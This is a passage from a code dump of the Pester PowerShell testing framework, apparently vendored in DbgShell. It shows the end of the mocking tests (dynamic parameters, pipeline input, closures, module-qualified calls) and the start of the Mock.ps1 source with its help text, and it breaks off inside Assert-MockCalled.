param ( [string] $Name, [Parameter(ParameterSetName = 'Two')] [string] $Two ) DynamicParam { if ($PSCmdlet.ParameterSetName -eq 'Two' -and $Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting5 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = Get-Greeting5 -Two 'Two' -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } } Describe 'Mocking Cmdlets with dynamic parameters in a module' { New-Module -Name TestModule { function PublicFunction { Get-ChildItem -Path Cert:\ -CodeSigningCert } } | Import-Module -Force $mockWith = { if (-not $CodeSigningCert) { throw 'CodeSigningCert variable not found, or set to false!' } } Mock Get-ChildItem -MockWith $mockWith -ModuleName TestModule -ParameterFilter { [bool]$CodeSigningCert } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { TestModule\PublicFunction } | Should Not Throw Assert-MockCalled Get-ChildItem -ModuleName TestModule } AfterAll { Remove-Module TestModule -Force } } Describe 'DynamicParam blocks in other scopes' { New-Module -Name TestModule1 { $script:DoDynamicParam = $true function DynamicParamFunction { [CmdletBinding()] param ( ) DynamicParam { if ($script:DoDynamicParam) { if ($PSVersionTable.PSVersion.Major -ge 3) { # -Parameters needs to be a PSBoundParametersDictionary object to work properly, due to internal # details of the PS engine in v5. Naturally, this is an internal type and we need to use reflection # to make a new one. $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' $params = $PSBoundParameters.GetType().GetConstructor($flags, $null, @(), $null).Invoke(@()) } else { $params = @{} } $params['Path'] = [string[]]'Cert:\' Get-MockDynamicParameters -CmdletName Get-ChildItem -Parameters $params } } end { 'I am the original function' } } } | Import-Module -Force New-Module -Name TestModule2 { function CallingFunction { DynamicParamFunction -CodeSigningCert } function CallingFunction2 { [CmdletBinding()] param ( [ValidateScript({ [bool](DynamicParamFunction -CodeSigningCert) })] [string] $Whatever ) } } | Import-Module -Force Mock DynamicParamFunction { if ($CodeSigningCert) { 'I am the mocked function' } } -ModuleName TestModule2 It 'Properly evaluates dynamic parameters when called from another scope' { CallingFunction | Should Be 'I am the mocked function' } It 'Properly evaluates dynamic parameters when called from another scope when the call is from a ValidateScript block' { CallingFunction2 -Whatever 'Whatever' } AfterAll { Remove-Module TestModule1 -Force Remove-Module TestModule2 -Force } } Describe 'Parameter Filters and Common Parameters' { function Test-Function { [CmdletBinding()] param ( ) } Mock Test-Function { } -ParameterFilter { $VerbosePreference -eq 'Continue' } It 'Applies common parameters correctly when testing the parameter filter' { { Test-Function -Verbose } | Should Not Throw Assert-MockCalled Test-Function Assert-MockCalled Test-Function -ParameterFilter { $VerbosePreference -eq 'Continue' } } } Describe "Mocking Get-ItemProperty" { Mock Get-ItemProperty { New-Object -typename psobject -property @{ Name = "fakeName" } } It "Does not fail with NotImplementedException" { Get-ItemProperty -Path "HKLM:\Software\Key\" -Name "Property" | Select -ExpandProperty Name | Should Be fakeName } } Describe 'When mocking a command with parameters that match internal variable names' { function Test-Function { [CmdletBinding()] param ( [string] $ArgumentList, [int] $FunctionName, [double] $ModuleName ) } Mock Test-Function { return 'Mocked!' } It 'Should execute the mocked command successfully' { { Test-Function } | Should Not Throw Test-Function | Should Be 'Mocked!' } } Describe 'Mocking commands with potentially ambiguous parameter sets' { function SomeFunction { [CmdletBinding()] param ( [parameter(ParameterSetName = 'ps1', ValueFromPipelineByPropertyName = $true)] [string] $p1, [parameter(ParameterSetName = 'ps2', ValueFromPipelineByPropertyName = $true)] [string] $p2 ) process { return $true } } Mock SomeFunction { } It 'Should call the function successfully, even with delayed parameter binding' { $object = New-Object psobject -Property @{ p1 = 'Whatever' } { $object | SomeFunction } | Should Not Throw Assert-MockCalled SomeFunction -ParameterFilter { $p1 -eq 'Whatever' } } } Describe 'When mocking a command that has an ArgumentList parameter with validation' { Mock Start-Process { return 'mocked' } It 'Calls the mock properly' { $hash = @{ Result = $null } $scriptBlock = { $hash.Result = Start-Process -FilePath cmd.exe -ArgumentList '/c dir c:\' } $scriptBlock | Should Not Throw $hash.Result | Should Be 'mocked' } } # These assertions won't actually "fail"; we had an infinite recursion bug in Get-DynamicParametersForCmdlet # if the caller mocked New-Object. It should be fixed by making that call to New-Object module-qualified, # and this test will make sure it's working properly. If this test fails, it'll take a really long time # to execute, and then will throw a stack overflow error. Describe 'Mocking New-Object' { It 'Works properly' { Mock New-Object $result = New-Object -TypeName Object $result | Should Be $null Assert-MockCalled New-Object } } Describe 'Mocking a function taking input from pipeline' { $psobj = New-Object -TypeName psobject -Property @{'PipeIntProp'='1';'PipeArrayProp'=1;'PipeStringProp'=1} $psArrayobj = New-Object -TypeName psobject -Property @{'PipeArrayProp'=@(1)} $noMockArrayResult = @(1,2) | PipelineInputFunction $noMockIntResult = 1 | PipelineInputFunction $noMockStringResult = '1' | PipelineInputFunction $noMockResultByProperty = $psobj | PipelineInputFunction -PipeStr 'val' $noMockArrayResultByProperty = $psArrayobj | PipelineInputFunction -PipeStr 'val' Mock PipelineInputFunction { write-output 'mocked' } -ParameterFilter { $PipeStr -eq 'blah' } context 'when calling original function with an array' { $result = @(1,2) | PipelineInputFunction it 'Returns actual implementation' { $result[0].keys | % { $result[0][$_] | Should Be $noMockArrayResult[0][$_] $result[1][$_] | Should Be $noMockArrayResult[1][$_] } } } context 'when calling original function with an int' { $result = 1 | PipelineInputFunction it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockIntResult[$_] } } } context 'when calling original function with a string' { $result = '1' | PipelineInputFunction it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockStringResult[$_] } } } context 'when calling original function and pipeline is bound by property name' { $result = $psobj | PipelineInputFunction -PipeStr 'val' it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockResultByProperty[$_] } } } context 'when calling original function and forcing a parameter binding exception' { Mock PipelineInputFunction { if($MyInvocation.ExpectingInput) { throw New-Object -TypeName System.Management.Automation.ParameterBindingException } write-output $MyInvocation.ExpectingInput } $result = $psobj | PipelineInputFunction it 'falls back to no pipeline input' { $result | Should Be $false } } context 'when calling original function and pipeline is bound by property name with array values' { $result = $psArrayobj | PipelineInputFunction -PipeStr 'val' it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockArrayResultByProperty[$_] } } } context 'when calling the mocked function' { $result = 'blah' | PipelineInputFunction it 'Returns mocked implementation' { $result | Should Be 'mocked' } } } Describe 'Mocking module-qualified calls' { It 'Mock alias should not exist before the mock is defined' { $alias = Get-Alias -Name 'Microsoft.PowerShell.Management\Get-Content' -ErrorAction SilentlyContinue $alias | Should Be $null } $mockFile = 'TestDrive:\TestFile' $mockResult = 'Mocked' Mock Get-Content { return $mockResult } -ParameterFilter { $Path -eq $mockFile } Setup -File TestFile -Content 'The actual file' It 'Creates the alias while the mock is in effect' { $alias = Get-Alias -Name 'Microsoft.PowerShell.Management\Get-Content' -ErrorAction SilentlyContinue $alias | Should Not Be $null } It 'Calls the mock properly even if the call is module-qualified' { $result = Microsoft.PowerShell.Management\Get-Content -Path $mockFile $result | Should Be $mockResult } } Describe 'After a mock goes out of scope' { It 'Removes the alias after the mock goes out of scope' { $alias = Get-Alias -Name 'Microsoft.PowerShell.Management\Get-Content' -ErrorAction SilentlyContinue $alias | Should Be $null } } Describe 'Assert-MockCalled with Aliases' { AfterEach { if (Test-Path alias:PesterTF) { Remove-Item Alias:PesterTF } } It 'Allows calls to Assert-MockCalled to use both aliases and the original command name' { function TestFunction { } Set-Alias -Name PesterTF -Value TestFunction Mock PesterTF $null = PesterTF { Assert-MockCalled PesterTF } | Should Not Throw { Assert-MockCalled TestFunction } | Should Not Throw } } Describe 'Mocking Get-Command' { # This was reported as a bug in 3.3.12; we were relying on Get-Command to safely invoke other commands. # Mocking Get-Command, though, would result in infinite recursion. It 'Does not break when Get-Command is mocked' { { Mock Get-Command } | Should Not Throw } } Describe 'Mocks with closures' { $closureVariable = 'from closure' $scriptBlock = { "Variable resolved $closureVariable" } $closure = $scriptBlock.GetNewClosure() $closureVariable = 'from script' function TestClosure([switch] $Closure) { 'Not mocked' } Mock TestClosure $closure -ParameterFilter { $Closure } Mock TestClosure $scriptBlock It 'Resolves variables in the closure rather than Pester''s current scope' { TestClosure | Should Be 'Variable resolved from script' TestClosure -Closure | Should Be 'Variable resolved from closure' } } Describe '$args handling' { function AdvancedFunction { [CmdletBinding()] param() 'orig' } function SimpleFunction { . AdvancedFunction } function AdvancedFunctionWithArgs { [CmdletBinding()] param($Args) 'orig' } Add-Type -TypeDefinition ' using System.Management.Automation; [Cmdlet(VerbsLifecycle.Invoke, "CmdletWithArgs")] public class InvokeCmdletWithArgs : Cmdlet { public InvokeCmdletWithArgs() { } [Parameter] public object Args { set { } } protected override void EndProcessing() { WriteObject("orig"); } } ' -PassThru | Select-Object -ExpandProperty Assembly | Import-Module Mock AdvancedFunction { 'mock' } Mock AdvancedFunctionWithArgs { 'mock' } Mock Invoke-CmdletWithArgs { 'mock' } It 'Advanced function mock should be callable with dot operator' { SimpleFunction garbage | Should Be mock } It 'Advanced function with Args parameter should be mockable' { AdvancedFunctionWithArgs -Args garbage | Should Be mock } It 'Cmdlet with Args parameter should be mockable' { Invoke-CmdletWithArgs -Args garbage | Should Be mock } } Describe 'Single quote in command/module name' { BeforeAll { $module = New-Module "Module '‘’‚‛" { Function NormalCommandName { 'orig' } New-Item "Function::Command '‘’‚‛" -Value { 'orig' } } | Import-Module -PassThru } AfterAll { if ($module) { Remove-Module $module; $module = $null } } It 'Command with single quote in module name should be mockable' { Mock NormalCommandName { 'mock' } NormalCommandName | Should Be mock } It 'Command with single quote in name should be mockable' { Mock "Command '‘’‚‛" { 'mock' } & "Command '‘’‚‛" | Should Be mock } } if ($global:PSVersionTable.PSVersion.Major -ge 3) { Describe 'Mocking cmdlet without positional parameters' { Add-Type -TypeDefinition ' using System.Management.Automation; [Cmdlet(VerbsLifecycle.Invoke, "CmdletWithoutPositionalParameters")] public class InvokeCmdletWithoutPositionalParameters : Cmdlet { public InvokeCmdletWithoutPositionalParameters() { } [Parameter] public object Parameter { set { } } } [Cmdlet(VerbsLifecycle.Invoke, "CmdletWithValueFromRemainingArguments")] public class InvokeCmdletWithValueFromRemainingArguments : Cmdlet { private string parameter; private string[] remainings; public InvokeCmdletWithValueFromRemainingArguments() { } [Parameter] public string Parameter { set { parameter=value; } } [Parameter(ValueFromRemainingArguments=true)] public string[] Remainings { set { remainings=value; } } protected override void EndProcessing() { WriteObject(string.Concat(parameter, "; ", string.Join(", ", remainings))); } } ' -PassThru | Select-Object -First 1 -ExpandProperty Assembly | Import-Module It 'Original cmdlet does not have positional parameters' { { Invoke-CmdletWithoutPositionalParameters garbage } | Should Throw } Mock Invoke-CmdletWithoutPositionalParameters It 'Mock of cmdlet should not make parameters to be positional' { { Invoke-CmdletWithoutPositionalParameters garbage } | Should Throw } It 'Original cmdlet bind all to Remainings' { Invoke-CmdletWithValueFromRemainingArguments asd fgh jkl | Should Be '; asd, fgh, jkl' } Mock Invoke-CmdletWithValueFromRemainingArguments { -join ($Parameter, '; ', ($Remainings -join ', ')) } It 'Mock of cmdlet should bind all to Remainings' { Invoke-CmdletWithValueFromRemainingArguments asd fgh jkl | Should Be '; asd, fgh, jkl' } } } Describe 'Nested Mock calls' { $testDate = New-Object DateTime(2012,6,13) Mock Get-Date -ParameterFilter { $null -eq $Date } { Get-Date -Date $testDate -Format o } It 'Properly handles nested mocks' { $result = @(Get-Date) $result.Count | Should Be 1 $result[0] | Should Be '2012-06-13T00:00:00.0000000' } } Describe 'Globbing characters in command name' { function f[f]f { 'orig1' } function f?f { 'orig2' } function f*f { 'orig3' } function fff { 'orig4' } It 'Command with globbing characters in name should be mockable' { Mock f[f]f { 'mock1' } Mock f?f { 'mock2' } Mock f*f { 'mock3' } f[f]f | Should Be mock1 f?f | Should Be mock2 f*f | Should Be mock3 fff | Should Be orig4 } } Describe 'Naming conflicts in mocked functions' { Context 'parameter named Metadata' { function Sample { param( [string] ${Metadata} ) } function Wrapper { Sample -Metadata 'test' } Mock Sample { 'mocked' } It 'Works with commands with parameter named Metadata' { Wrapper | Should Be 'mocked' } } Context 'parameter named Keys' { function g { [CmdletBinding()] param($Keys,$H) } function Wrapper { g -Keys 'value' } Mock g { $Keys } It 'Works with command with parameter named Keys' { $r = Wrapper $r | Should be 'value' } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Mock.ps1 ================================================ function Mock { <# .SYNOPSIS Mocks the behavior of an existing command with an alternate implementation. .DESCRIPTION This creates new behavior for any existing command within the scope of a Describe or Context block. The function allows you to specify a script block that will become the command's new behavior. Optionally, you may create a Parameter Filter which will examine the parameters passed to the mocked command and will invoke the mocked behavior only if the values of the parameter values pass the filter. If they do not, the original command implementation will be invoked instead of a mock. You may create multiple mocks for the same command, each using a different ParameterFilter. ParameterFilters will be evaluated in reverse order of their creation. The last one created will be the first to be evaluated. The mock of the first filter to pass will be used. The exception to this rule are Mocks with no filters. They will always be evaluated last since they will act as a "catch all" mock. Mocks can be marked Verifiable. If so, the Assert-VerifiableMocks command can be used to check if all Verifiable mocks were actually called. If any verifiable mock is not called, Assert-VerifiableMocks will throw an exception and indicate all mocks not called. If you wish to mock commands that are called from inside a script module, you can do so by using the -ModuleName parameter to the Mock command. This injects the mock into the specified module. If you do not specify a module name, the mock will be created in the same scope as the test script. You may mock the same command multiple times, in different scopes, as needed. Each module's mock maintains a separate call history and verified status. .PARAMETER CommandName The name of the command to be mocked. .PARAMETER MockWith A ScriptBlock specifying the behavior that will be used to mock CommandName. The default is an empty ScriptBlock. NOTE: Do not specify param or dynamicparam blocks in this script block. These will be injected automatically based on the signature of the command being mocked, and the MockWith script block can contain references to the mocked commands parameter variables. .PARAMETER Verifiable When this is set, the mock will be checked when Assert-VerifiableMocks is called. .PARAMETER ParameterFilter An optional filter to limit mocking behavior only to usages of CommandName where the values of the parameters passed to the command pass the filter. This ScriptBlock must return a boolean value. See examples for usage. .PARAMETER ModuleName Optional string specifying the name of the module where this command is to be mocked. This should be a module that _calls_ the mocked command; it doesn't necessarily have to be the same module which originally implemented the command. .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } Using this Mock, all calls to Get-ChildItem will return a hashtable with a FullName property returning "A_File.TXT" .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp) } This Mock will only be applied to Get-ChildItem calls within the user's temp directory. .EXAMPLE Mock Set-Content {} -Verifiable -ParameterFilter { $Path -eq "some_path" -and $Value -eq "Expected Value" } When this mock is used, if the Mock is never invoked and Assert-VerifiableMocks is called, an exception will be thrown. The command behavior will do nothing since the ScriptBlock is empty. .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp\1) } Mock Get-ChildItem { return @{FullName = "B_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp\2) } Mock Get-ChildItem { return @{FullName = "C_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp\3) } Multiple mocks of the same command may be used. The parameter filter determines which is invoked. Here, if Get-ChildItem is called on the "2" directory of the temp folder, then B_File.txt will be returned. .EXAMPLE Mock Get-ChildItem { return @{FullName="B_File.TXT"} } -ParameterFilter { $Path -eq "$env:temp\me" } Mock Get-ChildItem { return @{FullName="A_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp) } Get-ChildItem $env:temp\me Here, both mocks could apply since both filters will pass. A_File.TXT will be returned because it was the most recent Mock created. .EXAMPLE Mock Get-ChildItem { return @{FullName = "B_File.TXT"} } -ParameterFilter { $Path -eq "$env:temp\me" } Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } Get-ChildItem c:\windows Here, A_File.TXT will be returned. Since no filter was specified, it will apply to any call to Get-ChildItem that does not pass another filter. .EXAMPLE Mock Get-ChildItem { return @{FullName = "B_File.TXT"} } -ParameterFilter { $Path -eq "$env:temp\me" } Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } Get-ChildItem $env:temp\me Here, B_File.TXT will be returned. Even though the filterless mock was created more recently. This illustrates that filterless Mocks are always evaluated last regardless of their creation order. .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } -ModuleName MyTestModule Using this Mock, all calls to Get-ChildItem from within the MyTestModule module will return a hashtable with a FullName property returning "A_File.TXT" .EXAMPLE Get-Module -Name ModuleMockExample | Remove-Module New-Module -Name ModuleMockExample -ScriptBlock { function Hidden { "Internal Module Function" } function Exported { Hidden } Export-ModuleMember -Function Exported } | Import-Module -Force Describe "ModuleMockExample" { It "Hidden function is not directly accessible outside the module" { { Hidden } | Should Throw } It "Original Hidden function is called" { Exported | Should Be "Internal Module Function" } It "Hidden is replaced with our implementation" { Mock Hidden { "Mocked" } -ModuleName ModuleMockExample Exported | Should Be "Mocked" } } This example shows how calls to commands made from inside a module can be mocked by using the -ModuleName parameter. .LINK Assert-MockCalled Assert-VerifiableMocks Describe Context It about_Should about_Mocking #> param( [string]$CommandName, [ScriptBlock]$MockWith={}, [switch]$Verifiable, [ScriptBlock]$ParameterFilter = {$True}, [string]$ModuleName ) Assert-DescribeInProgress -CommandName Mock $contextInfo = Validate-Command $CommandName $ModuleName $CommandName = $contextInfo.Command.Name if ($contextInfo.Session.Module -and $contextInfo.Session.Module.Name) { $ModuleName = $contextInfo.Session.Module.Name } else { $ModuleName = '' } if (Test-IsClosure -ScriptBlock $MockWith) { # If the user went out of their way to call GetNewClosure(), go ahead and leave the block bound to that # dynamic module's scope. $mockWithCopy = $MockWith } else { $mockWithCopy = [scriptblock]::Create($MockWith.ToString()) Set-ScriptBlockScope -ScriptBlock $mockWithCopy -SessionState $contextInfo.Session } $block = @{ Mock = $mockWithCopy Filter = $ParameterFilter Verifiable = $Verifiable Scope = Get-ScopeForMock -PesterState $pester } $mock = $mockTable["$ModuleName||$CommandName"] if (-not $mock) { $metadata = $null $cmdletBinding = '' $paramBlock = '' $dynamicParamBlock = '' $dynamicParamScriptBlock = $null if ($contextInfo.Command.psobject.Properties['ScriptBlock'] -or $contextInfo.Command.CommandType -eq 'Cmdlet') { $metadata = [System.Management.Automation.CommandMetaData]$contextInfo.Command $null = $metadata.Parameters.Remove('Verbose') $null = $metadata.Parameters.Remove('Debug') $null = $metadata.Parameters.Remove('ErrorAction') $null = $metadata.Parameters.Remove('WarningAction') $null = $metadata.Parameters.Remove('ErrorVariable') $null = $metadata.Parameters.Remove('WarningVariable') $null = $metadata.Parameters.Remove('OutVariable') $null = $metadata.Parameters.Remove('OutBuffer') # Some versions of PowerShell may include dynamic parameters here # We will filter them out and add them at the end to be # compatible with both earlier and later versions $dynamicParams = $metadata.Parameters.Values | & $SafeCommands['Where-Object'] {$_.IsDynamic} if($dynamicParams -ne $null) { $dynamicparams | & $SafeCommands['ForEach-Object'] { $null = $metadata.Parameters.Remove($_.name) } } $cmdletBinding = [Management.Automation.ProxyCommand]::GetCmdletBindingAttribute($metadata) if ($global:PSVersionTable.PSVersion.Major -ge 3 -and $contextInfo.Command.CommandType -eq 'Cmdlet') { if ($cmdletBinding -ne '[CmdletBinding()]') { $cmdletBinding = $cmdletBinding.Insert($cmdletBinding.Length-2, ',') } $cmdletBinding = $cmdletBinding.Insert($cmdletBinding.Length-2, 'PositionalBinding=$false') } $paramBlock = [Management.Automation.ProxyCommand]::GetParamBlock($metadata) if ($contextInfo.Command.CommandType -eq 'Cmdlet') { $dynamicParamBlock = "dynamicparam { Get-MockDynamicParameters -CmdletName '$($contextInfo.Command.Name)' -Parameters `$PSBoundParameters }" } else { $dynamicParamStatements = Get-DynamicParamBlock -ScriptBlock $contextInfo.Command.ScriptBlock if ($dynamicParamStatements -match '\S') { $metadataSafeForDynamicParams = [System.Management.Automation.CommandMetaData]$contextInfo.Command foreach ($param in $metadataSafeForDynamicParams.Parameters.Values) { $param.ParameterSets.Clear() } $paramBlockSafeForDynamicParams = [System.Management.Automation.ProxyCommand]::GetParamBlock($metadataSafeForDynamicParams) $comma = if ($metadataSafeForDynamicParams.Parameters.Count -gt 0) { ',' } else { '' } $dynamicParamBlock = "dynamicparam { Get-MockDynamicParameters -ModuleName '$ModuleName' -FunctionName '$CommandName' -Parameters `$PSBoundParameters -Cmdlet `$PSCmdlet }" $code = @" $cmdletBinding param( [object] `${P S Cmdlet}$comma $paramBlockSafeForDynamicParams ) `$PSCmdlet = `${P S Cmdlet} $dynamicParamStatements "@ $dynamicParamScriptBlock = [scriptblock]::Create($code) $sessionStateInternal = Get-ScriptBlockScope -ScriptBlock $contextInfo.Command.ScriptBlock if ($null -ne $sessionStateInternal) { Set-ScriptBlockScope -ScriptBlock $dynamicParamScriptBlock -SessionStateInternal $sessionStateInternal } } } } $EscapeSingleQuotedStringContent = if ($global:PSVersionTable.PSVersion.Major -ge 5) { { [System.Management.Automation.Language.CodeGeneration]::EscapeSingleQuotedStringContent($args[0]) } } else { { $args[0] -replace "['‘’‚‛]", '$&$&' } } $newContent = & $SafeCommands['Get-Content'] function:\MockPrototype $newContent = $newContent -replace '#FUNCTIONNAME#', (& $EscapeSingleQuotedStringContent $CommandName) $newContent = $newContent -replace '#MODULENAME#', (& $EscapeSingleQuotedStringContent $ModuleName) $canCaptureArgs = 'true' if ($contextInfo.Command.CommandType -eq 'Cmdlet' -or ($contextInfo.Command.CommandType -eq 'Function' -and $contextInfo.Command.CmdletBinding)) { $canCaptureArgs = 'false' } $newContent = $newContent -replace '#CANCAPTUREARGS#', $canCaptureArgs $code = @" $cmdletBinding param ( $paramBlock ) $dynamicParamBlock begin { `${mock call state} = @{} $($newContent -replace '#BLOCK#', 'Begin' -replace '#INPUT#') } process { $($newContent -replace '#BLOCK#', 'Process' -replace '#INPUT#', '-InputObject @($input)') } end { $($newContent -replace '#BLOCK#', 'End' -replace '#INPUT#') } "@ $mockScript = [scriptblock]::Create($code) $mock = @{ OriginalCommand = $contextInfo.Command Blocks = @() CommandName = $CommandName SessionState = $contextInfo.Session Scope = $pester.Scope Metadata = $metadata CallHistory = @() DynamicParamScriptBlock = $dynamicParamScriptBlock FunctionScope = '' Alias = $null } $mockTable["$ModuleName||$CommandName"] = $mock if ($contextInfo.Command.CommandType -eq 'Function') { $mock['FunctionScope'] = $contextInfo.Scope $scriptBlock = { param ( [string] $CommandName ) if ($ExecutionContext.InvokeProvider.Item.Exists("Function:\$CommandName", $true, $true)) { $ExecutionContext.InvokeProvider.Item.Rename([System.Management.Automation.WildcardPattern]::Escape("Function:\$CommandName"), "script:PesterIsMocking_$CommandName", $true) } } $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $CommandName } $scriptBlock = { $ExecutionContext.InvokeProvider.Item.Set("Function:\script:$($args[0])", $args[1], $true, $true) } $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $CommandName, $mockScript if ($mock.OriginalCommand.ModuleName) { $mock.Alias = "$($mock.OriginalCommand.ModuleName)\$($CommandName)" $scriptBlock = { $setAlias = & (Pester\SafeGetCommand) -Name Set-Alias -CommandType Cmdlet -Module Microsoft.PowerShell.Utility & $setAlias -Name $args[0] -Value $args[1] -Scope Script } $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $mock.Alias, $CommandName } } $mock.Blocks = @( $mock.Blocks | & $SafeCommands['Where-Object'] { $_.Filter.ToString() -eq '$True' } if ($block.Filter.ToString() -eq '$True') { $block } $mock.Blocks | & $SafeCommands['Where-Object'] { $_.Filter.ToString() -ne '$True' } if ($block.Filter.ToString() -ne '$True') { $block } ) } function Assert-VerifiableMocks { <# .SYNOPSIS Checks if any Verifiable Mock has not been invoked. If so, this will throw an exception. .DESCRIPTION This can be used in tandem with the -Verifiable switch of the Mock function. Mock can be used to mock the behavior of an existing command and optionally take a -Verifiable switch. When Assert-VerifiableMocks is called, it checks to see if any Mock marked Verifiable has not been invoked. If any mocks have been found that specified -Verifiable and have not been invoked, an exception will be thrown. .EXAMPLE Mock Set-Content {} -Verifiable -ParameterFilter {$Path -eq "some_path" -and $Value -eq "Expected Value"} { ...some code that never calls Set-Content some_path -Value "Expected Value"... } Assert-VerifiableMocks This will throw an exception and cause the test to fail. .EXAMPLE Mock Set-Content {} -Verifiable -ParameterFilter {$Path -eq "some_path" -and $Value -eq "Expected Value"} Set-Content some_path -Value "Expected Value" Assert-VerifiableMocks This will not throw an exception because the mock was invoked. #> Assert-DescribeInProgress -CommandName Assert-VerifiableMocks $unVerified=@{} $mockTable.Keys | & $SafeCommands['ForEach-Object'] { $m=$_; $mockTable[$m].blocks | & $SafeCommands['Where-Object'] { $_.Verifiable } | & $SafeCommands['ForEach-Object'] { $unVerified[$m]=$_ } } if($unVerified.Count -gt 0) { foreach($mock in $unVerified.Keys){ $array = $mock -split '\|\|' $function = $array[1] $module = $array[0] $message = "`r`n Expected $function " if ($module) { $message += "in module $module " } $message += "to be called with $($unVerified[$mock].Filter)" } throw $message } } function Assert-MockCalled { <# .SYNOPSIS Checks if a Mocked command has been called a certain number of times and throws an exception if it has not. .DESCRIPTION This command verifies that a mocked command has been called a certain number of times. If the call history of the mocked command does not match the parameters passed to Assert-MockCalled, Assert-MockCalled will throw an exception. .PARAMETER CommandName The mocked command whose call history should be checked. .PARAMETER ModuleName The module where the mock being checked was injected. This is optional, and must match the ModuleName that was used when setting up the Mock. .PARAMETER Times The number of times that the mock must be called to avoid an exception from throwing. .PARAMETER Exactly If this switch is present, the number specified in Times must match exactly the number of times the mock has been called. Otherwise it must match "at least" the number of times specified. If the value passed to the Times parameter is zero, the Exactly switch is implied. .PARAMETER ParameterFilter An optional filter to qualify wich calls should be counted. Only those calls to the mock whose parameters cause this filter to return true will be counted. .PARAMETER ExclusiveFilter Like ParameterFilter, except when you use ExclusiveFilter, and there were any calls to the mocked command which do not match the filter, an exception will be thrown. This is a convenient way to avoid needing to have two calls to Assert-MockCalled like this: Assert-MockCalled SomeCommand -Times 1 -ParameterFilter { $something -eq $true } Assert-MockCalled SomeCommand -Times 0 -ParameterFilter { $something -ne $true } .PARAMETER Scope An optional parameter specifying the Pester scope in which to check for calls to the mocked command. By default, Assert-MockCalled will find all calls to the mocked command in the current Context block (if present), or the current Describe block (if there is no active Context.) Valid values are Describe, Context and It. If you use a scope of Describe or Context, the command will identify all calls to the mocked command in the current Describe / Context block, as well as all child scopes of that block. .EXAMPLE C:\PS>Mock Set-Content {} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content This will throw an exception and cause the test to fail if Set-Content is not called in Some Code. .EXAMPLE C:\PS>Mock Set-Content -parameterFilter {$path.StartsWith("$env:temp\")} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content 2 { $path -eq "$env:temp\test.txt" } This will throw an exception if some code calls Set-Content on $path=$env:temp\test.txt less than 2 times .EXAMPLE C:\PS>Mock Set-Content {} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content 0 This will throw an exception if some code calls Set-Content at all .EXAMPLE C:\PS>Mock Set-Content {} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content -Exactly 2 This will throw an exception if some code does not call Set-Content Exactly two times. .EXAMPLE Describe 'Assert-MockCalled Scope behavior' { Mock Set-Content { } It 'Calls Set-Content at least once in the It block' { {... Some Code ...} Assert-MockCalled Set-Content -Exactly 0 -Scope It } } Checks for calls only within the current It block. .EXAMPLE Describe 'Describe' { Mock -ModuleName SomeModule Set-Content { } {... Some Code ...} It 'Calls Set-Content at least once in the Describe block' { Assert-MockCalled -ModuleName SomeModule Set-Content } } Checks for calls to the mock within the SomeModule module. Note that both the Mock and Assert-MockCalled commands use the same module name. .EXAMPLE Assert-MockCalled Get-ChildItem -ExclusiveFilter { $Path -eq 'C:\' } Checks to make sure that Get-ChildItem was called at least one time with the -Path parameter set to 'C:\', and that it was not called at all with the -Path parameter set to any other value. .NOTES The parameter filter passed to Assert-MockCalled does not necessarily have to match the parameter filter (if any) which was used to create the Mock. Assert-MockCalled will find any entry in the command history which matches its parameter filter, regardless of how the Mock was created. However, if any calls to the mocked command are made which did not match any mock's parameter filter (resulting in the original command being executed instead of a mock), these calls to the original command are not tracked in the call history. In other words, Assert-MockCalled can only be used to check for calls to the mocked implementation, not to the original. #> [CmdletBinding(DefaultParameterSetName = 'ParameterFilter')] param( [Parameter(Mandatory = $true, Position = 0)] [string]$CommandName, [Parameter(Position = 1)] [int]$Times=1, [Parameter(ParameterSetName = 'ParameterFilter', Position = 2)] [ScriptBlock]$ParameterFilter = {$True}, [Parameter(ParameterSetName = 'ExclusiveFilter', Mandatory = $true)] [scriptblock] $ExclusiveFilter, [Parameter(Position = 3)] [string] $ModuleName, [Parameter(Position = 4)] [ValidateSet('Describe','Context','It')] [string] $Scope, [switch]$Exactly ) if ($PSCmdlet.ParameterSetName -eq 'ParameterFilter') { $filter = $ParameterFilter $filterIsExclusive = $false } else { $filter = $ExclusiveFilter 